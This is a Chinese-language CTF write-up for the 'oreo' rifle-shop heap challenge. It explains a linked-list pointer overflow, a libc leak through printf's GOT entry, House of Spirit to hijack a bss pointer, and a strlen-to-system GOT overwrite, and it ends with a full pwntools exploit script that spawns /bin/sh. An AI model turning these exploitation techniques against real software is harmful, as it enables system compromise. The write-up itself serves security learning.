功能 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Welcome to the OREO Original Rifle Ecommerce Online System! ,______________________________________ |_________________,----------._ [____] -,__ __....-----===== (_(||||||||||||)___________/ | `----------' OREO [ ))"-, | "" `, _,--....___ | `/ """" What would you like to do? 1. Add new rifle //利用malloc分配chunk,保存rifle->name和rifle->Description 2. Show added rifles //显示所有rifle->name 3. Order selected rifles //free所有chunk 4. Leave a Message with your Order //向bss段的指针写入输入的内容。 5. Show current stats 6. Exit!
checksec:
1 2 3 4 5 Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
解题思路 发现没有RELRO,所以GOT可写,然后IDA内没有发现system,所以想要反弹shell,先要泄露libc地址才行。
漏洞在哪?
这是add函数,head表示最新分配的chunk,head->next指向先前分配的chunk,相当于一个单向链表。head->name和head->next相邻,所以可以通过溢出进行修改。
这是show_rifles()函数
它通过head->next遍历堆的链表,打印所有的name和description。 利用思路就是,我们通过head->name将head->next覆盖成某个GOT地址,那么再调用该函数,就能泄露libc地址。
1 2 3 4 5 6 7 8 9 10 11 12 payload = 'A' * 27 + p32(0x804a234) #printf.got add('a'*25,payload) #打印printf.got中的libc地址。 show_rifle() p.recvuntil('===================================\n') p.recvuntil('Description: ') puts_addr =u32(p.recv(4).ljust(4,'\x00')) #计算system libc_base = puts_addr - libc.symbols['printf'] system_addr = libc_base + libc.symbols['system']
泄露好地址后,我们还需要能修改GOT地址才行,通过分析其他函数,发现message函数中,notice是一个指针,在bss段上(0x0804A2A8),我们通过House Of Spirit技术,将堆劫持到这个位置,将该指针修改成,got地址,这样再调用message就能修改成system了。
House Of Spirit: 首先要伪造好fake_chunk,但是必须有合法的size值和nextsize才行。
可以发现,每添加一个chunk,该数字就会+1,该数字正好位于notice指针的前面,所以我们添加0x40个chunk,就能构造一个合法的fake_chunk的size,然后nextsize也需要利用message函数写入为合法大小。
另外需要注意的是,分配的这40个chunk,其head->next 必须是NULL,否则free的时候会free掉大量的chunk。
1 2 3 4 5 6 7 8 9 #将size构造成0x41 i = 0x3F while i> 0: add(25*'A','B'*27+p32(0x0)) i -= 1 #构造好nextsize 为100,即0x64,这个只要大小符合检查范围就行。 payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100) message(payload)
然后我们还需要再添加一个新的chunk,将head->next指向这个位置(0x0804A2A8),这样free后再分配出来,就将heap劫持到了该指针位置。
1 2 3 4 5 payload2 = 'A' *27 +p32(0x0804A2A8) add('aaa',payload2) #free order()
system 都free掉后,fastbins中保存了bss的地址。
我们再将它分配出来,并将notice指针处,覆盖为strlen的got地址。
1 add(p32(0x804a250),p32(0x0))
最后修改message将strlen修改为system。
1 2 payload = p32(system_addr) + ';/bin/sh' message(payload)
为什么要修改strlen呢?这和message的实现有关
在fgets过后,会调用cut_enter,strlen已经是system了,而传入的a1就是notice,已经被我们改成了p32(system_addr) + ‘;/bin/sh’
这样就相当于 system(p32(system_addr);/bin/sh) 由于有分号的原因,会变成两条: system(p32(system_addr)) system(‘/bin/sh’)
总结
修改head->next打印libc地址,从而计算出system。
利用House Of Spirit将堆劫持到bss。
修改bss指针为strlen.got
将system写入strlen.got
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import * p = process("./oreo") libc = ELF('libc.so.6') def add(descrip, name): p.sendline('1') p.sendline(name) p.sendline(descrip) def show_rifle(): p.sendline('2') p.recvuntil('===================================\n') def order(): p.sendline('3') def message(notice): p.sendline('4') p.sendline(notice) #head->next == printf.got payload = 'A' * 27 + p32(0x804a234) add('a'*25,payload) #打印printf.got show_rifle() #计算system p.recvuntil('===================================\n') p.recvuntil('Description: ') puts_addr =u32(p.recv(4).ljust(4,'\x00')) libc_base = puts_addr - libc.symbols['printf'] system_addr = libc_base + libc.symbols['system'] #将size修改为0x40 i = 0x3F while i> 0: add(25*'A','B'*27+p32(0x0)) i -= 1 #修改nextsize payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100) message(payload) #head->next改成bss,并将其free。 payload2 = 'A' *27 +p32(0x0804A2A8) add('aaa',payload2) order() #system add(p32(0x804a250),p32(0x0)) payload = p32(system_addr) + ';/bin/sh' message(payload) p.interactive()